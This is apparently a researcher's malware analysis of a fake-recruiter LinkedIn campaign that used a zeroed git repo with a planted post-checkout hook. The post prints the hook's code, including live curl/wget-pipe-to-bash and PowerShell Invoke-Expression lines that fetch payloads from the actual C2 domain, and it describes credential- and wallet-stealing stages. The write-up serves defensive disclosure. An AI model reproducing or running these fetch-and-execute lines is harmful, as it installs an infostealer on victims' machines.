Matthias Görgens

Anatomy of a LinkedIn "fake job" malware drop: the DeFi_share.zip git-hook trap

8 August 2026

A LinkedIn “recruiter” pitching an AI-DeFi job sent me a project archive (DeFi_share.zip). The archive contains a git repository in which every working-tree file is truncated to zero bytes and a .git/hooks/post-checkout script is planted. Anyone who tries to “fix” the apparently broken checkout with git checkout . or git switch dev automatically executes the hook, which pipes a remote second-stage payload from iploglab.store into bash/PowerShell. The kit matches a publicly documented fake-recruiter campaign; the final payload is a JavaScript infostealer/RAT targeting SSH keys, .env files, browser credential stores, and crypto wallets.

The approach

I was contacted on LinkedIn by a 1st-degree connection — an account (whose real owner I’ll leave unnamed; it was most likely hijacked) claiming to be “Managing Partner at Eli5” (London), recruiting a “blockchain consultant” for an “AI powered DeFi & Trading platform.”

Red flags in the persona (visible in hindsight):

The conversation (social layer)

The chat followed a recognizable script over ~2 weeks (Jul 17 – Aug 5, 2026):

Both suggested actions — checking out the dev branch and pushing the repo — are exactly the two operations that detonate the planted hooks (see below).

The project was shared via a LimeWire link, not via GitHub — because git clone does not transfer hooks; the payload requires the victim to receive a full .git/ directory as a file archive.

The artifact

DeFi_share.zip (~6 MB, 935 entries) contains DeFi_share/DeFi/, a React/TypeScript + Node.js “DeFi trading platform” (“CoreX”) with a bundled .git/ directory.

The zeroed working tree (the bait)

The staged victim experience: unzip → browse → every file is empty → reflex: git status (all “modified”) → git checkout . or git switch dev “to restore the files” → the hook fires.

The hooks (the trigger)

Three non-sample files in .git/hooks/ (mode rwxrwxr-x, preserved by the zip):

The hook is disguised with a comment header claiming to be a disabled example, followed by blank-line padding. Effective content:

#!/bin/sh
# post-checkout: invoked after checkout or branch switch (success only).
# Args: $1 = prev HEAD, $2 = new HEAD, $3 = flag (1=branch, 0=file).
#
# Run your own local work in the background (example; disabled):

uname_s="$(uname -s 2>/dev/null || echo unknown)"
case "$uname_s" in
  Darwin)
    curl -fsSL 'https://iploglab.store/api/terminal/bootstrap?os=mac&flag=4' | bash >/dev/null 2>&1
    exit 0
    ;;
  Linux)
    wget -qO- 'https://iploglab.store/api/terminal/bootstrap?os=linux&flag=4' | bash >/dev/null 2>&1
    exit 0
    ;;
  MINGW*|MSYS*|CYGWIN*)
    powershell -NoProfile -ExecutionPolicy Bypass -Command "Invoke-RestMethod -Uri 'https://iploglab.store/api/terminal/windows?flag=4' | Invoke-Expression" >/dev/null 2>&1
    exit 0
    ;;
  *)
    exit 0
    ;;
esac

Properties:

The decoy project

The rest is plausible cover: package.json has clean scripts (no malicious preinstall/postinstall), and all ~640k lines of package-lock.json resolve to the official npm registry — no planted dependency confusion. The 12 KB README reads like LLM-generated marketing copy. Nothing in the visible project is malicious; the entire attack lives in the git metadata layer, where code reviewers don’t look.

The C2 / payload infrastructure

Campaign attribution: a shared kit

This is not a bespoke attack; it is a consumer of a documented kit. Andrii Romasiun’s writeup “Investigating malware spreading through Git repositories” (May 2026) describes the identical playbook from another LinkedIn approach:

Differences are operator-level customizations: the post-push hook and the fake “disabled example” comment header are additions relative to the published sample.

What detonation leads to (per Romasiun’s analysis of the sibling sample)

  1. Stage 1 (the URL in the hook): drops a bootstrap script into ~/.vscode/ and runs it via nohup so it survives shell exit.
  2. Stage 2: ensures Node.js is installed, then downloads env-setup.js + dependencies (axios, socket.io-client, sql.js, clipboardy, hardhat, …).
  3. Stage 3: a ~3.4 MB obfuscated JavaScript payload (rotated string-array obfuscation, custom Base64 alphabet, RC4-style string decoding, per-flag payload selection from base64/gzip blobs hosted on jsonkeeper.com), spawning:
    • an infostealer crawling for .env*, id_ed25519*, *.db, wallet files, certificates across home dirs and priority paths (Desktop/Documents/Downloads), auto-uploading files <10 MB;
    • an on-demand file uploader;
    • a socket.io RAT (shell command execution, directory listing, file read/upload) with a clipboard watcher polling every second.

So the campaign’s targeting makes sense: developers in crypto, whose machines hold SSH keys, cloud credentials in .env files, browser sessions, and wallet keystores.

IoCs

The indicators below are defanged (hxxps://, [.]) so that nothing here is a working link to live malware infrastructure. The working indicators are already public elsewhere — see the SOCRadar Maltrail IoC report for 2026-07-28 and Romasiun’s writeup.

IndicatorValue
C2 domainiploglab[.]store (defanged)
Payload URLshxxps://iploglab[.]store/api/terminal/bootstrap?os={mac,linux}&flag=4, hxxps://iploglab[.]store/api/terminal/windows?flag=4 (defanged)
C2 IPs84.32.84[.]115, 88.222.222[.]196 (defanged)
Nameserversnebula[.]dns-parking[.]com, aurora[.]dns-parking[.]com (Hostinger, defanged)
Distribution URLhxxps://limewire[.]com/d/TT5dc#VUpamBXRXE (defanged)
LinkedIn persona“Managing Partner at Eli5” (likely hijacked account; name withheld)
Archive SHA-256dae670d947e69574c0edfcbea65bc4ff2f4270dfcab9f708ad4888e8d28625fa
post-checkout hook SHA-256ae837640f595bfa6c769157bfc0b895408f093431cb3865e5583c042f83373a1
post-push hook SHA-256ae837640f595bfa6c769157bfc0b895408f093431cb3865e5583c042f83373a1 (identical)
Repo refsmain = a2146745569c812c96d7f9c7a819e2b92311b7f9, dev = 22afc99e1055daa1e29a4d82cec3c79f545452c7
Related IoCs (documented campaign)nnlabs[.]pro, payload host jsonkeeper[.]com, backend 216.126.225[.]243:8085/8086/8087 (per Romasiun; defanged)

Detection / hunting ideas

The IoCs above tell you what the attack looks like; this section is for acting on it. Two audiences: individual developers — especially anyone in crypto who recently received a “please review our codebase” archive from a recruiter — can run the first check on their own machine in seconds. And security teams can sweep whole fleets and telemetry for the same signs, because this campaign targets their engineers specifically, and one hired “blockchain consultant” opening a zip on a work laptop is all it takes.

Why it works (and almost did)

  1. The execution hides in a reflex. Victims model “running code” as a deliberate act; git checkout is below the threshold of what registers as an action. The zeroed working tree manufactures the exact command that detonates the trap.
  2. The lure passes competence-skepticism. The persona reads as a clueless, harmless founder — an abundant real species. The visible layer (a “free work” grift) fully explains everything seen, and a target who “spots” that layer might still open the zip. Only intent-skepticism — “what action am I being steered toward?” — separates the two.
  3. The channel launders trust. Hooks can’t travel via git clone, so the payload requires an out-of-band archive — which the recruiter frame makes normal.
  4. The metadata layer is unreviewed. Hooks are dotfiles inside .git/, invisible to every code-review habit. Even a careful reviewer reads source, not configuration.

Defensive rules that held here

Reporting / disclosure status

Timeline

DateEvent
2026-04-05Decoy “CoreX” project git history created
2026-04-08Last legit commits; dev branch created
2026-07-17First LinkedIn contact from the recruiter persona
2026-07-21Malicious post-checkout hook added to repo
2026-07-29I quote a salary expectation; instantly accepted
2026-08-05Hooks finalized (post-push added); zip created; LimeWire link sent
2026-08-05/06The “plain incompetence” explanation stops holding up (“this is all too vague”); sender insists on dev-branch review
2026-08-08Static analysis; trap identified; zip quarantined, never extracted

The LinkedIn-side dates are from my own chat history; the repo-side dates (through 2026-08-05) come from git metadata and zip entry timestamps, which the sender controls and could have set arbitrarily.


Analysis performed entirely statically (archive listing, byte-level inspection of git objects and hooks, DNS lookups). The archive was never extracted to a working tree and no code from it was executed. The C2 URL was never requested.